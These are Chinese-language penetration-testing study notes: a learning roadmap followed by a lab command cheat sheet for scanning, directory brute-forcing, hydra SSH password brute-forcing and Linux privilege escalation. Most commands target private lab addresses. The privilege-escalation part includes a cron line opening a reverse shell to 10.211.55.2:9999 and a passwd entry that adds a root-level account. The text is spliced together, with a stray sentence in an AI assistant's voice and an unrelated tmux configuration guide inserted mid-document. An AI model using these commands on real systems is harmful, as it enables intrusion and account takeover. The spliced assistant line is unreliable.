渗透测试的学习可分为基础知识、信息收集、Web安全、主机安全、内网渗透、中间件与组件安全、安全工具应用以及报告与方法论等几个主要部分。

基础知识​

主要包括：

1. 计算机网络

• OSI / TCP-IP 模型
• TCP、UDP
• 三次握手、四次挥手
• HTTP / HTTPS
• DNS
• Cookie、Session、JWT
• 反向代理、CDN、负载均衡基础

**学习程度：**这一块的目标不是会背概念，而是看到一个站点或一台主机，能看懂它大概怎么跑起来

2. Linux 和 Windows 基础

Linux

• 常用命令
• 文件权限
• 进程、端口、服务
• 用户与组
• 定时任务
• 日志查看

Windows

• 用户、组、权限
• 服务、计划任务
• 注册表基础
• CMD / PowerShell
• 远程连接方式

**学习程度：**拿到一个低权限 shell 后，你至少不会连系统都看不懂

3. 编程与脚本

Python、Shell、JavaScript、SQL

**学习程度：**能看懂接口参数、读懂简单后端代码逻辑、能写 poc、exp 批量验证

4. 数据库基础

SQL 基本语法、增删改查、权限概念

MySQL、MSSQL、Oracle、Redis等

信息收集​

渗透测试很多时候不是一上来打漏洞，而是先摸清目标

主要学：

• 主域名、子域名、IP段收集
• 小程序、APP、公众号收集
• 端口扫描、指纹识别
• 目录扫描、JS接口挖掘
• 资产测绘
• 搜索引擎语法、公开情报收集

这一块决定你能不能找到入口

Web 安全​

这是最核心、最常见、也是最适合入门实战的一块

重点内容：

• SQL 注入
• XSS
• CSRF
• 文件上传
• 文件包含
• SSRF
• XXE
• 反序列化
• 命令执行
• 越权
• 身份认证与权限控制漏洞
• 业务逻辑漏洞

每个漏洞需要知道的：原理、漏洞存在点、利用方式、修复思路

中间件与组件安全​

• Tomcat
• Nginx
• Apache
• IIS
• Redis
• Docker 基础
• Jenkins
• Spring 常见漏洞理解
• Shiro
• Fastjson
• Log4j 了解原理
• Weblogic 基础认知

看到对应指纹后，需要知道可能存在什么漏洞

主机提权​

拿到 Web 入口后，经常要继续向系统层深入

Linux 提权

• 抓密码提权
• sudo 配置不当
• SUID
• 内核提权基础认知
• 定时任务
• 环境变量
• 服务配置问题
• 以root的运行的服务，其中包括第三方软件都可以进行提权。

Windows 提权

• 服务权限配置错误
• 弱权限服务
• 计划任务
• AlwaysInstallElevated
• UAC 基础
• 凭据基础认知

这一块的核心是：从站点漏洞拿到服务器权限

内网渗透​

主要内容：

• 域环境基础
• AD、Kerberos、NTLM
• 横向移动
• 凭据抓取、弱口令、口令喷洒
• 隧道与代理
• 内网信息收集
• 权限维持与痕迹规避基础
• 常见域攻击思路

至少知道内网渗透是怎么从单机权限走到域内扩展的

如果把我当成一个协作型开发助手来理解会更准确一些：你提出目标，我负责先看清现状，再给出尽量可靠、可落地的修改，而不是只停留在建议层面。

在家目录创键.tmux.conf

set-option -g default-shell /bin/zsh

# 使用Ctrl+x作为前缀组合键
set -g prefix C-x
unbind C-b
bind C-x send-prefix

# 支持鼠标操作
setw -g mouse on
set-option -g status-right ""

会话(session)管理​

查看会话​

tmux ls

连接到最近的会话​

tmux attach
tmux a

杀死所有会话​

tmux kill-server

杀死某个会话​

tmux kill-session -t <session-name>

切换会话​

窗格(pane)管理​

窗口(window)管理​

主机发现​

arp-scan​

arp-scan -l

netdiscover​

指定网段扫描

netdiscover -r 192.168.56.0/24

指定网卡扫描

netdiscover -i eth0 -r 192.168.56.0/24

枚举​

nmap scan​

扫描全端口

nmap -sT --min-rate=10000 -p- 192.168.56.1 -oN nmap_result/port

sudo nmap -sU --min-rate 10000 -p- 192.168.56.1 -oN nmap_result/udp

剪切开放端口

nmap -p- --min-rate=10000 -T4 192.168.56.1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//

cat nmap_result/port | grep 'open' | awk -F'/' '{print $1}'| tr "\n" ','

详细扫描

sudo nmap -sT -sV -sC -O -p port -oN nmap_result/details 192.168.56.1

漏洞扫描

nmap --script=vuln 192.168.56.1 -p port -oN nmap_result/vuln 

web​

nikto -h http://192.168.56.1

TCP的全端口扫描​

nmap -sT --min-rate 10000 -p- 192.168.56.122

详细扫描端口​

nmap -sT -sV -sC -O -p21,22,80 192.168.56.122

FTP匿名登录​

ftp 192.168.56.122
anonymous

SSH登录​

爆破

hydra -l renu -P /usr/share/seclists/Passwords/2023-200_most_used_passwords.txt ssh://192.168.56.120

ssh w1r3s@192.168.56.127 -i id_rsa

POP3登录​

登录

USER your_username
PASS your_password

查看邮件数量
STAT

获取邮件列表
LIST

查看特定邮件（例如，查看第一封邮件）
RETR 1

删除特定邮件（例如，删除第一封邮件）
DELE 1

$ telnet pop.example.com 110
+OK POP3 server ready
USER your_username
+OK User name accepted
PASS your_password
+OK Password accepted
STAT
+OK 3 2048
LIST
+OK 3 messages:
1 1024
2 1024
3 512
RETR 1
+OK 1024 octets
[邮件内容]
.
QUIT
+OK Goodbye

目录扫描​

gobuster​

gobuster dir -u http://192.168.56.122/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html

dirsearch​

dirsearch -u http://192.168.56.101 -w zidian.txt -e php

dirb​

dirb http://192.168.56.100 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

dirb http://192.168.56.1 -X .txt,.html,.tar,.zip,.php

feroxbuster​

feroxbuster --scan-limit 2 -t 1 --filter-status 404 -u http://192.168.56.108

字典​

kali linux中自带的一些字典

/usr/share/wordlists/dirbuster/directory-list-2.3-*.txt
/usr/share/wordlists/dirbuster/directory-list-1.0.txt
/usr/share/wordlists/dirb/big.txt
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/dirb/small.txt
/usr/share/wordlists/dirb/extensions_common.txt

还有secLists的字典

apt install secLists

/usr/share/seclists/

提权​

寻找特殊程序能力​

getcap -r / 2>/dev/null

find查找suid权限的文件​

find / -type f -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

sudo​

*/1 * * * *  /bin/sh -i >& /dev/tcp/10.211.55.2/9999 0>&1

定时任务​

cat /etc/crontab

ls /var/spool/cron/crontabs/

内核​

uname -a

lsb_release -a

可写文件​

find / -writable 2>/dev/null

生成passwd密码

openssl passwd -1 -salt somesalt 123456 > hash.txt
corr:$1$somesalt$uGkN1R3BfqJr15hKXW5jt.:0:0::/root:/bin/bash